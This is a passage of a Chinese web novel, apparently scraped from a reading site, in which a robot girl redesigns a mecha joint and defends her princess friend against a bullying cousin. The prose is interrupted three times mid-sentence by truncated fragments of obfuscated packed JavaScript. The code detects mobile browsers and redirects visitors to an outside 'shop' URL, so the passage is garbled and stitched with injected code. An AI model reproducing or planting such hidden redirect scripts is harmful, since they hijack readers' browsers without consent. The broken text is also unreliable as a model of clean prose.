「白起」虽然是十几年前的造物,构造算不得多机密,星网上也早就研究透了,但并不代表能随意对外展示。 贺言与喻从风冲他们摇头,示意无需避讳。 其他人放下心,继续讨论起来。 在他们谈论到关节部位时,最近正巧在琢磨如何改进机甲关节连接的时嚣竖起耳朵,听得尤为认真,边听边频频点头。 这个说的有道理,那个说的也行得通。 但有一句话十分刺耳。 她忍不住脱口而出:“为什么说这是最干净的结构,明明还有冗余。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108999|195599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >话音刚落,教室安静下来。 老人们面面相觑,有人下意识推了推眼镜,有人则低头重新调出数据面板。 一位头发全白、面容苍老的老人缓缓开口:“你觉得关节结构还能改进?” 涉及机械领域时嚣有绝对自信:“昨天刚研究了个新架构,还没来得及细化,但能实现无延迟。” 她的眼睛清澈明亮,丝毫没有察觉到周遭微妙的气氛。 喻从风“噗哧”一声笑了出来:“怎么,你们也讲究什么资格不资格了?玉山可不是听不进意见的老古板。” 白发老人微笑:“这里是尼普顿,大家伙儿随意讨论就是了。” 他转而对时嚣和颜悦色道:“要不要试试数据模拟器。” “那是什么东西?”时嚣来了兴趣。 她不关心人类之间的哑谜,妈妈说过,百分之八十都是废话,不用听。 “就是现场建模即时调试,然后AI跑数据做对比。”喻从风耐心解释。 他喜欢这孩子的锐气,虽然知道她没可能做出更好的架构,可年轻人年少轻狂,哪怕错了又怎么样呢?敢在这么多人面前提出想法动手实操就超过了许多人。 机甲光一个关节部位的零件就有成千上万个,她能记清楚大部分结构哪怕漏掉一些细节便很不错了,要是底子好,说不定能让玉山见见,他正愁找不到接班人,指不定成就一段师徒佳话。 时嚣了然,就是立体建模嘛,她经常让主脑蓝蓝帮忙测数据,对此不陌生。 “让年轻人试试。”贺言出声。 白发老人看了他们一眼,让出位置。 时嚣落座,盯着面前的模型,伸手触碰了一下,冰凉的触感传来。 她随意划拉几下适应,又拖动一旁的材料列表快速浏览,才开始正式建模。 不同零件组合成复杂的立体图形,时嚣手速惊人,丝毫不见断续或犹豫,把原先的关节部位从材料到结构全部推翻,一个前所未见的架构雏形正在生成。 旁观者中不乏有专攻机械的老者,他们互相交换眼神,皆在彼此眼底看到诧异与激动,就算是不谙机械的,看到时嚣以超高手速从零搭建新架构也不自觉屏住呼吸。 模型建构完毕,时嚣随意一拨,模型轻巧地转了一圈,她满意点头。 刚才听过他们的讨论后她又有了新的想法,建模的时候把几样材料替换了一下,比昨天的草图更精进了呢。 旁边屏幕上,AI已开始运作,一行行代码跳跃滚动,每一个变量都在被精准计算,参数比对的结果逐行显现。 最后一行代码验证结束,屏幕显示出微小的数值差异——速度提升0.03秒,韧性增强2%。 如果不是通过AI精确的测算,肉眼根本无法捕捉这极细微的优化。 但即便再微小,也是真正意义上的超越。 一时间没有人说话。 有人开始鼓掌,声音从零星变得密集。 时嚣的表情始终专注而平静,并不觉得自己做了什么惊天动地的大事。 贺言目光复杂:“有很多人试图改进,却少有人从头创造。” 或者说几乎没有,毕竟已经有公认最实用最完美的架构存在了,机甲框架大差不差,在基础上继续升级就好。 时嚣很严谨:“原始架构以仿生神经为基础,确实没什么改进余地,既然这样的话不如尝试别的材料。” 她也是让主脑复制体模拟测试了几千遍,失败了几千遍才得到现在的版本。 “是我们思维固化了。”白发老人从震撼中脱离,叹道。 时嚣大大方方道:“都是同学,相互学习进步,我也从你们的讨论里学到了东西。” 白发老人微微一怔,随即笑了:“你说得对。” 喻从风收起作为一个长者天然的优越感,在光脑上敲敲打打。 【风从鹤:玉山啊,我给你找了个师父】 17. 第17章 课程后半段气氛逐渐回暖,盖因时嚣的态度实在是太自然了,她理所当然地融入了话题讨论,无论是机械理论、数据分析还是实战技巧都能信手拈来。 阅人无数的老人们很轻易便能感受到她眼底纯粹的探知与新奇,交流一会儿发现尽管她基础常识有些薄弱,但机甲领域上毫不含糊,更难得的是,她没有把他们当成德高望重的学者或者年迈的长辈去刻意恭维奉承。 不攀附职权,不计较身份,不看重权势,这间教室似乎回归了大学应有的氛围,抛弃掉世俗权势等级的桎梏,唯有思想的尽情碰撞。 时嚣当然不会因为年纪和地位差别对待他们,对于生命恒久的机械种族而言,星际人类至多两百年寿命,她的年纪迟早超过他们所有人,完全没有衡量的必要。 至于地位,乡下孩子表示没听说过。 时嚣后来才知道白发老人叫楚潇然,不仅是这群人中最年长的,也是职权最高的。 她恍然大悟:“原来你是班长。” “嗯。”楚潇然笑容和蔼,顺势邀请她加入校友群,“尼普顿经常组织一些很有意思的活动,消息都在群里通知。” 时嚣欣然答允。 “和你聊天很有收获。”楚潇然由衷说道。 尼普顿建立的初衷是让他们这帮退出一线的人能有个放松的地方,避开来自外界或者家族的攀附索取,然而浸淫政场那么多年,他们都习惯戴上面具说话,哪怕到了这里也难以摆脱形式主义的影子,人与人之间的隔阂始终存在。 现在,时嚣的出现让她看到了打破僵局的希望,看到了尼普顿存在的真正意义。 时嚣想了想,楚潇然虽然寡言,但每次加入讨论都能直接切中要害,便认真回道:“我也是。” 楚潇然笑意又深了几分。 真好,没有听到诸如“能和您这样有见地的人交流才是我的荣幸”的虚伪客套。 “新同学”的过往履历十分简单,或许只有远离复杂环境才能培养出这样纯粹的孩子吧。 一节课结束,时嚣准备离开,正和她聊得如痴如醉的几个老人见状纷纷拽着人不放。 时隔多年好不容易再次燃起学术热情,可不能让火苗跑了。 时嚣表示她和朋友有约了。 前军事大臣、如今荣誉退休的老人不惜倚老卖老:“我一把老骨头,机甲都开不动了,就爱聊聊天,这点愿望也不能帮我实现吗?” 时嚣灵活躲到贺言身后,伸手指指挡在身前的人:“你可以和贺同学聊。” 老人立马换上嫌弃的表情:“都聊几十年了有什么好聊的。” 随即又面容悲戚:“我寂寞呀!难得有年轻人能跟我聊到一块去!家里小的又不争气,四肢发达头脑简单,这么多年连两万个数据模型都记不住,那不是一天就能记住的东西吗?” 时嚣为他的变脸速度叹为观止。 不过…… “两万个数据模型不是看一遍就能记住的吗?” 老人顿时语塞。 一遍?! 对上时嚣写满真诚的目光,他一时间竟然说不出质疑的话。 贺言笑出了声。 认识几十年,谁还不了解谁?这老小子要是真有一天记住两万个数据模型的本事,当年就不会离开研究所转行从政了。 她不禁回忆起,这位多年前也是外人眼中万里挑一的天才数据师,奈何研究所里遍地天才,一丁点的天赋差距都宛如沟壑,最后他受不了打击跑去搞政治了。 如今老了倒是能吹,可惜碰上的又是一个金字塔顶端的天赋怪。 贺言心生感慨,长江后浪推前浪呐。 时嚣无奈:“已经聊了很久了。” 老人尴尬:“可你刚才说的我还没听懂,你再拆解拆解,我要是搞不明白浑身都难受,觉都睡不着。” 被缠得没办法,时嚣最终妥协,保证今晚会回尼普顿宿舍休息,一定早早回来继续讲思路。 “我派个司机给你,你要去哪跟他说就行。”楚潇然一锤定音,结束这场拉扯。 她环顾四周被带动得高谈阔论的相熟面孔,心想空置已久的尼普顿宿舍今晚大概将迎来久违的热闹,而外界那些热衷于琢磨细节揣摩人心的家伙只怕要为他们的突兀举动辗转反侧难以入眠了。 * 车停在帝国大学校门外,楚珈玉靠在椅背上,指尖划过虚拟屏幕,点开帝国大学内网上的一条热帖,刺眼的标题映入眼帘。 【什么人都能来机甲战斗系了吗】 帖子下面的讨论更是尖刻。 [秒解码] [猜你想搜:帝国中学最艳丽的玫瑰] [现在是帝国大学最艳丽的玫瑰了,有一说一玫瑰颜值没话说,要是去艺术系我绝对投她当校花,但现在只能是笑话了] [啧啧,当花瓶不好么,插插花跳跳舞,她原本的培养方向就是联姻吧,何必又来战斗系自取其辱] [收收味哈,人家怎么你们了?入学成绩有公示,她分数进指挥系也绰绰有余,想学什么是人家的自由,轮得到你们指指点点] [哟哟哟,护花使者来了] [要是觉得成绩有问题可以去举报,别在匿名论坛上唧唧歪歪,拿镜子照照脸,嫉妒就直说,有本事关匿名说话] [合理讨论而已,帖子都没封你急什么] [我跟玫瑰一个高中的,她以前娇娇弱弱只呆在舞蹈室里,突然选了战斗系,我们同校的也很惊讶] [不怪别人说,这事儿本身就挺招笑的] [就算是梦想也不能真做梦啊] [和你们当网友好吓人,感觉身份芯片正在离我而去,搁古代这叫妄议朝政了吧] [笑死,谁还不是个天龙人了] [收起你们的傲慢,敢这么嘴不就是仗着玫瑰没实权,换另外几位你们有胆子吠?早就舔上去了] [笑了,内网就别搞捂嘴这一套了,没意思,虽说玫瑰是吉祥物,但外面可不敢随便蛐蛐,也就校内网这点水花了,净土呐~] [还得是帝大内网,老话说得好,帝都星扔块砖能砸到仨二代,仨二代俩出身帝大] [说起来玫瑰算龙耻了吧,没见过这么奇葩的天龙人] [???疯了???这么爱划分三六九等,你是龙癫吧,阶级入脑了,热知识,越没有什么越爱强调什么] [你们在说谁啊,怎么听不懂] [楼上建议别掺和,权贵圈的话题没点家底容易成为炮灰] [弱弱说一句,就算是权贵也容易成炮灰啊(挠头,再怎么说她也是顶级天龙人,不会真有人以为内网匿名吧] [别扯有的没的,骂一个求学者就是不对,你们最好是出生就会开机甲,出生就入门,入门就入土哈] …… 冷冰的字眼倒映在楚珈玉黯淡的瞳孔中,整篇帖子除了零星几个帮她说话的,剩下都是质疑和嘲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118208|195599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讽。 最终光脑屏幕暗了下去,她的手指也无意识地蜷缩起来。 “后悔了吗?往后这种质疑只多不少。” 她侧过头望向身边说话的人。 楚归澜神情平静,对这种事见惯不怪。 皇室近年掌控力削弱,与其去管那些小圈层内年轻人雷声大雨点小的言论,不如在大众前做点实事塑造形象,只是这次被议论的是自家温室里的妹妹,他带上了些许关切。 楚珈玉沉默,不得不承认有一瞬间她确实有过动摇。 自从进入机甲系,她好像进入了一个全新的世界,扑面而来的否定让她措手不及。 这些声音并非没有依据,她从小被娇养在贵族圈中,习惯了被称赞外貌、仪态、才华,从未有人期待她握起武器。 她一度陷入自我怀疑。 她的选择正确吗?或许继续呆在舒适圈里也不错,大不了增加些护卫,可是—— 甘心吗? 甘心永远生活在他人的羽翼下吗? 光脑适时亮起,一条新信息跳了出来。 【买机甲找我:我快到了】 简简单单四个字,却像一束强光瞬间驱散她心头的阴霾。 楚珈玉甩了甩头,将那份自我怀疑压下去。 “我不后悔。”她声音不大,但足够坚定。 “听母亲说,你最近很任性。”楚归澜转过脸,视线在她重新染上笑意的脸上停留,“但我看好像不是这样。” “我有追寻的目标了,哥哥会为我高兴吗?” “当然,不过你新交的那个朋友我还是不太放心。”楚归澜虽然欣慰,但一码归一码。 他的妹妹被教养得很天真,他不免担心她被有心人利用。 “我相信她。”楚珈玉迎上他的目光,“我们约了见面,一会儿你见到她就知道了,小嚣和别人真的不一样。” 楚归澜心头微微一动,不由想起了那位在危难时刻伸出援手的大师。 同样的信任,同样的特别。 “好好好,你的小嚣不一样,那待会儿我见见她,看她到底有什么特殊,能让你有这么大变化。” 就在这时,光脑突然震动。 他低头瞥了一眼,瞳孔猛地一缩,原本沉稳的神色被激动取代。 是大师的消息! 大师竟然在帝都星系现身了!还与某个星盗团扯上了关系! “我有急事得走了,下次再见你的朋友吧。”他加快语速交代,顾不得委婉,“在外面不用受委屈,战斗系如果学不下去别硬撑,面子是最不重要的东西。” “我知道,你又要去找你心心念念的大师了。”楚珈玉一看他这样就知道是什么情况,忍不住吐槽。 哥哥每天念叨“大师大师”,都快给人洗脑了。 楚归澜伸手弹了下她的脑门,力道不重,带着惯有的亲昵。 “哎呀好痛!不跟你说话了!”楚珈玉夸张地捂住额头,朝他吐了吐舌头,推开车门头也不回地跳了下去。 哼,她也要去找她的小嚣了。 望着妹妹消失在人群中的背影,楚归澜失笑摇头,随即收敛心神,让司机启动悬浮车,自己则回复下属发来的消息。 好不容易有了大师的消息,一定不能错过。 引擎低声轰鸣,车身汇入车流。 逆向车道上,时嚣正好低头回复楚珈玉的消息,恰好错过了窗外一闪即过的熟悉面孔。 18. 第18章 时嚣和楚珈玉并肩穿过梧桐掩映的林荫道。 时嚣逛了很久也不觉得无聊,她像一个初次来到世界的新生儿,对一切充满好奇,就连一片落叶都能让她驻足良久。 楚珈玉始终含着温柔的笑意,耐心为她讲解每一样事物,她不仅没有感到厌烦,反而从中感受到一种被需要的满足,这样纯粹的陪伴甚至让她短暂忘记了压在心头的心事。 她不着急去报到,或者说她内心隐隐畏惧进入陌生的环境,她害怕对上审视的目光,更害怕带着讥诮的质疑。 如果小嚣能一直陪伴她就好了。 她看向身旁好奇张望的女孩,唇角扬起温柔的弧度:“小嚣,你入学手续办好了吗?” 时嚣想了想说:“办好了,还去上了堂课,很有意思。” 楚珈玉脚步几不可察地顿了一下:“你已经见到那些大……同学了?他们没为难你吧?” “没有,大家很好相处。”时嚣注意到她话语间的迟疑,“为什么会这么问,你的同学为难你了吗?” “没有啦。”楚珈玉垂下眼帘,“只是大家彼此还不熟悉,我也不太擅长和人相处。” 触及不愉快的话题,她有些低落。 时嚣若有所思。 她离家有段时间了,接触过不少人类,并不觉得与人相处是件难事。 “或许因为你不会结合肢体语言。”她说。 “啊,肢体语言吗?”楚珈玉茫然。 时嚣信誓旦旦:“我的邻居本来很排外,经过我结合肢体语言的表达,他们友善多了。” 楚珈玉似懂非懂,水蓝眸子变得更清澈了。 “有烦恼的话可以跟我说,说不定我能给你点建议。”时嚣自信道。 楚珈玉抿了抿唇:“还是因为我转系的事,很多人觉得我不适合,其实我能理解大家的想法,毕竟战争书写了帝国三分之二的历史,所有人都慕强,我也不例外。” 话虽如此,她的声音却低了下去,眼里有掩不住的落寞。 “为什么要理解别人的想法?”时嚣歪着头,露出困惑的神情。 “欸?” “既然所有人都慕强,那就让质疑你的人来挑战我好了,我够强,能用实力决定话语权。”她语气里带着纯然的诚挚,仿佛在陈述一个再简单不过的道理。 “可、可那不是我自己的实力啊。”楚珈玉结巴道。 “合理借助外力同样是一种能力,我是你的朋友,当然也属于你的力量。况且你迟早会变强的,在那之前作为朋友的我会为你肃清障碍,让你有一个安稳的成长环境。”时嚣理所当然,“我家人就是这样做的,在我弱小的时候保驾护航,等我能自保了再放手。” “肃清障碍?”楚珈玉听得晕晕乎乎,是要给她找场子的意思吗? “嗯哼,一会儿我陪你去报到,见见你的新同学,让你瞧瞧怎么正确处理人际关系。” 时嚣伸出手指戳戳她细嫩的脸蛋,把她下压的嘴角往上提:“你看,我比你一个人类都明白。” “听着好奇怪,小嚣你也是人类呀。”楚珈玉不自在地别过脸去,耳廓泛红,带着羞恼反驳。 “我不是。”时嚣眨眨眼,没有要隐瞒的意思,“我是机械种族,用你们的话来说就是机器人。” 楚珈玉只当她在开玩笑逗自己开心,顺着接话:“可是小嚣看上去完全不像呢。” 时嚣骄傲:“因为我是最先进的机械种族,是当前最高级的版本。” 楚珈玉亲昵地挽上她的胳膊:“好嘛好嘛,小嚣是世界上最厉害、最优秀、最温柔、最漂亮的机器人。” 每听到一个夸赞的词时嚣就点一下头,直到听见“漂亮”,她严谨纠正:“我哥哥比我漂亮,他的五官堪称完美,完全符合黄金比例。” 楚珈玉惊讶:“原来小嚣还有哥哥。” 提到自家哥哥,时嚣不自觉地扬起下巴:“我哥哥对我可好了,我的机甲技术就是他教的。” 楚珈玉同样道:“我哥哥对我也很好,今天就是他送我来报到的,本来想介绍他认识我最好的朋友,可惜他临时有急事走了。” “以后总有机会的。对了,我哥哥过阵子要来看我,到时候介绍你们认识。” “好呀好呀,那现在,我要带世界上最厉害、最优秀、最温柔、我心目中最漂亮的机器人小姐去吃帝大最好吃的小蛋糕了,这里的甜点师可是从皇家退休的哦。” * 帝国大学的食堂用富丽堂皇来形容丝毫不夸张。 圆形穹顶垂下华丽的水晶吊灯,灯光将光洁的大理石地面映得透亮,空旷的空间里只有银质餐具轻轻碰撞的声音和学生的低声交谈。 “帝大有七个食堂,风格菜式各不相同,食材质量对标皇室,你要是感兴趣改天我们都试试。”楚珈玉介绍。 “其他的什么样?”时嚣好奇。 楚珈玉细细讲来,时嚣正听得入神,不知不觉走到了甜点区。 正在摆盘的甜点师看见楚珈玉,刚要行礼就被她用手势制止。 甜点师会意,公主殿下一向不爱张扬,看来打算继续低调行事了。 时嚣的目光落在一份抹茶蛋糕上。 绿色的,蔬菜味吗?会不会比蔬菜汁还难吃。 正要伸手去拿,另一只手先一步端走了盘子。 来人注意到她悬空的手,把蛋糕递回来,友善道:“这份给你吧,我已经吃过一个了,抹茶挺好吃的。” 时嚣抬眼,那是个小麦色皮肤的女生,银白狼尾有些凌乱,左耳上挂着一排兽牙和彩色石子,随着她转头的动作发出细碎的碰撞声,她穿着简约的运动背心和褪色的牛仔裤,与周遭精致环境格格不入。 时嚣不在意穿着打扮,她感受到了对方身上野狸花似的磅礴生命力,很轻易便对带着野性气息的女生生出好感。 她接过蛋糕,道了谢。 甜点师瞥了眼楚珈玉,立即开口:“请稍等,我再去做两份。” 女生注意到他的眼神,眉梢微挑,挪回了准备离开的脚步。 她笑着提议:“那看来要等一会儿了,不如我们先坐下?” 时嚣没意见,楚珈玉就更没有了。 三人在餐桌旁落座,女生主动自我介绍:“你们好,我叫乔疏,是机甲战斗系大一新生。” “我叫楚珈玉,也是机甲战斗系大一新生,她是时嚣,陪我来报到的。”楚珈玉细声细语,对未来同班同学颇有好感。 听到她的姓氏,乔疏笑意扩大几分。 猜对了。 刚才甜点师过分恭敬的眼神让她猜想楚珈玉的身份不简单,于是留下来想结交一下,没想到竟然是皇室成员。 “好巧,以后就是同学了,请多关照。” 时嚣含着勺子,视线在乔疏身上流转。 她对情绪波动很敏感,不难看出她的刻意,对此倒不在意。 谁能拒绝一只主动示好的漂亮狸花呢? 在乔疏的有意引导下,一贯容易紧张的楚珈玉彻底放松下来,气氛逐渐熟络。 等甜点师将新做好的蛋糕端上来,楚珈玉抢先买了单,帝国大学食堂不便宜,她留意到新同学的穿着并不富裕。 乔疏看出她的用意,大大方方道:“下次我请你们,别看我穿得随便,其实家里刚拆迁。” 听到“拆迁”的字眼,诱发回忆的时嚣和楚珈玉下意识对视一眼。 乔疏继续解释:“我家在十九区,前段时间政府说要建一个大型机甲训练基地,我家被划进拆迁区,原本要两个月后才拆,我都打算好申请助学贷款了,没想到政府效率突然提高,一夜之间就拆完了,听说是皇室的临时决策。” 楚珈玉试着报出一个地址。 “没错,就是那里。” 楚珈玉忽地笑了,眉眼弯弯像是想起了有趣的事情,她用手肘碰了碰时嚣,在后者看过来时眨眨眼睛。 乔疏正疑惑她的反应,就听到时嚣恍然大悟的声音:“哦,就是我拆的那个地方啊。” “是你拆的?”乔疏眼睛一亮,激动地握住时嚣的手上下摇晃,“太感谢了!要不是你,我第一学期都买不起好机甲。” 她的态度比之前真诚许多。 “举手之劳。”时嚣也没想到日行一善还有后续。 她看了眼状态松弛的楚珈玉,忽然伸手揉了把她的发顶。 楚珈玉懵懵懂懂地投来视线,看到时嚣笑容宠溺。 “怎么啦小嚣?” “没什么。” 猫猫在外面被欺负怎么办?贿赂只丧彪保护她呗,给猫猫创造一个安心的成长环境。 午餐结束后时嚣陪她们去班级报到,当她们有说有笑进入教室,各种意味不明的视线立刻投了过来,极度敏锐的时嚣第一时间抬眼回望。 她扫视一圈,确认这些人类完全不是自己的对手,放心地继续交谈。 楚珈玉反应迟钝些,也很快也察觉到那些或探究或嘲弄的目光,笑容渐渐淡去。 “学艺术的非要转来我们机甲战斗系,真不知道怎么想的。”一个男生故意提高音量。 “挺好,实战课有人包揽倒数第一。”旁边的人接到信号,附和道。 “话不能这么说。”男生故作严肃,“万一课程要求组队呢,老师总不能让堂堂……落单。” “进了帝大可没人看身份,不过老师要是出于同情,总得有人倒霉的。” 时嚣收了声,笑意敛起。 楚珈玉却拉住她的袖子,纠结道:“他是我表哥,叫於森。” “表哥是什么?”时嚣对新鲜词汇感到陌生。 “就是我舅舅的儿子。”看到她依旧不解,楚珈玉进一步解释,“我妈妈的表哥的儿子。” 时嚣了然,七拐八拐的关系,听上去不是什么重要人物。 “他一直这样对你?” 楚珈玉勉强点头:“长辈之间有些过节,他不喜欢我,但是因为家族联系,明面上不能太难看。” “还不够难看吗?”时嚣直接指向笑容刻薄的於森。 听出她话中的双关意味,乔疏一时没忍住,笑出了声。 音量没有收敛,於森的笑容消失了。 “珈玉,就算交不到朋友,也没必要跟下等人混一起吧。”他上下打量时嚣和乔疏,确认没在活跃的圈子里见过这两张面孔,再加上她们穿着普通,判断是可以轻松拿捏的对象,因此说话毫无顾忌。 “人也分优劣吗?”时嚣认真发问,“按照什么划分?体能?那样的话你才是残次品吧。”出厂直通回收站的那种。 她只是陈述认知,於森瘦白虚浮,养尊处优的体质在机械生命的评估中属于绝对弱势。 於森却以为她在故意嘲讽,脸色阴沉下来。 楚珈玉了解他睚眦必报的性子,立刻挡在时嚣身前,顺便将乔疏护住。 乔疏本来因为出身十九区有些自卑,被於森的鄙夷刺伤,但很快就被时嚣的阴阳怪气逗笑,现在有人护着,胆气也增了几分,半试探道:“我不知道什么是下等,但我知道你不姓楚。” 果不其然,於森怨毒地盯住了她。 乔疏见状轻易便理清其中关系。 一味强调阶级优越,恰恰证明他没有实权,一切权力来源于姻亲纽带,被他仇视的楚珈玉显然即使没有实权也属于纽带核心,而於森只是血缘恩惠中的一员,他的负面情绪显然来源于不甘和嫉妒。 於姓不常见,她入学前为了避免不小心得罪人,研究过贵族圈层,记得有一个比较出名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他冷笑道:“珈玉,你从艺术系转机甲战斗系,肯定有所准备吧,不如我们比划比划,你不足的地方哥哥也好帮你指导。” 时嚣捕捉到关键词:“别乱攀关系。” 她本意是不允许有人玷污“哥哥”的身份,传到於森耳中却成了看低他。 “一时兴起来战斗系镀金,未免太不把军部放眼里了,你这样做不怕给家族带来负面影响?”他咬牙切齿继续加压,他同样了解楚珈玉的性格,从来不敢做出格的事,一顶损害皇室声誉的帽子扣下来她就该慌了。 可这次楚珈玉并未如他所料一样惶惶不安,而是在短暂思索后直视他:“我当然有准备,既然你坚持要见识,不如开个模拟赛场,我们各自组队比一比。” 实际上她内心依然忐忑,但如果此刻退缩,就意味着她没有把朋友的话听进去,她不想让时嚣失望。 偏过头,她望进时嚣盈满欣赏与鼓舞的眼底。 於森笑容更盛,团队对抗正合他意,他从入学前就开始频繁社交培植势力,聚在身边的不乏次等贵族或有真才实学的新生。 他冲旁边的人使了个眼色,依附他的小弟立马着手申请模拟室。 “今天是报到日,暂时申请不了机甲模拟室,对抗模拟室可以吗?”小弟问。 楚珈玉欣然答应,无论机甲还是其他,小嚣说没问题就一定没问题。 时嚣对她的盲目信赖很是受用。 “带我一个。” 一个长发及腰的女生拨开教室内默然旁观的人群,走到楚珈玉面前。 她双手抱胸,姿态略显高傲。 楚珈玉认得她,也正是因为知道她是谁,所以更加诧异。 唐未,前军事大臣的孙女,长辈政界余威犹在,她向来眼高于顶,喜欢独来独往,她们仅限于宴会上打过照面的关系。 唐未说完朝向於森,大拇指倒扣:“什么人都能来机甲战斗系了吗?” 熟悉的话让於森浑身一僵。 他的反应印证了唐未的猜想,於森就是跟她在帖子里大战三百回合的匿名发帖人。 她咂舌,到底有多嫉妒才能作出如此丑恶的嘴脸,又不见他去敌视同样处于权力核心的楚归澜,说到底欺软怕硬罢了。 於森脸上挂不住,背地里带节奏辱骂是一回事,被摆上台面是另一回事。 时嚣模仿她的手势,好奇是什么意思。 唐未还以为她之前表现出来的无知是故意给於森难堪,没想到居然是诚心发问。 “一种零损耗拉满仇恨的方法,中指朝上能达到一样的效果。” 时嚣茅塞顿开。 明白了,肢体语言的魅力。 “尽快吧,我赶时间。”她催促。 晚上要和人继续讨论机甲,依照那个老人既往的理解能力,预计得花两个小时才能跟他说明白,她答应了妈妈按时睡觉,算上赶路洗漱的时间,得在两小时内结束比赛。 “走着瞧。”於森不欲多说,他准备好了在对抗中狠狠打她们的脸。 准备间隙,乔疏积极为她们科普:“我开学前了解过,对抗模拟室通常用于训练学生适应不同环境,有沙漠、山地、极寒等极端场景可供选择,登入虚拟星网后组队对抗,抢占资源,先将其他队伍全员杀出局者获胜。” “可我们的人数……”楚珈玉略带焦虑地看向很快便拉出一支完整队伍的於森。 “我报名。”有人主动出声,是个跟他们一个圈子的老熟人。 “我也加入,不为别的,看不得别人装×。”又有人说道。 乔疏讶异,是她准备申请助学贷款时碰见过的一个女生,对方也朝她点了下头。 陆陆续续又有几人加入,乔疏心情跌宕起伏,没由来荡起澎湃的激情。 她憋着一股火气:“虽然我们是第一次合作,默契度不如对面,但我相信,我们一定会打出一场漂亮的仗,你说对吧,小嚣。” “啊?对。”时嚣反应不大,只瞥了一眼於森那支队伍就收回视线,“没有悬念。” “没有悬念!”热血起来的楚珈玉脆声附和。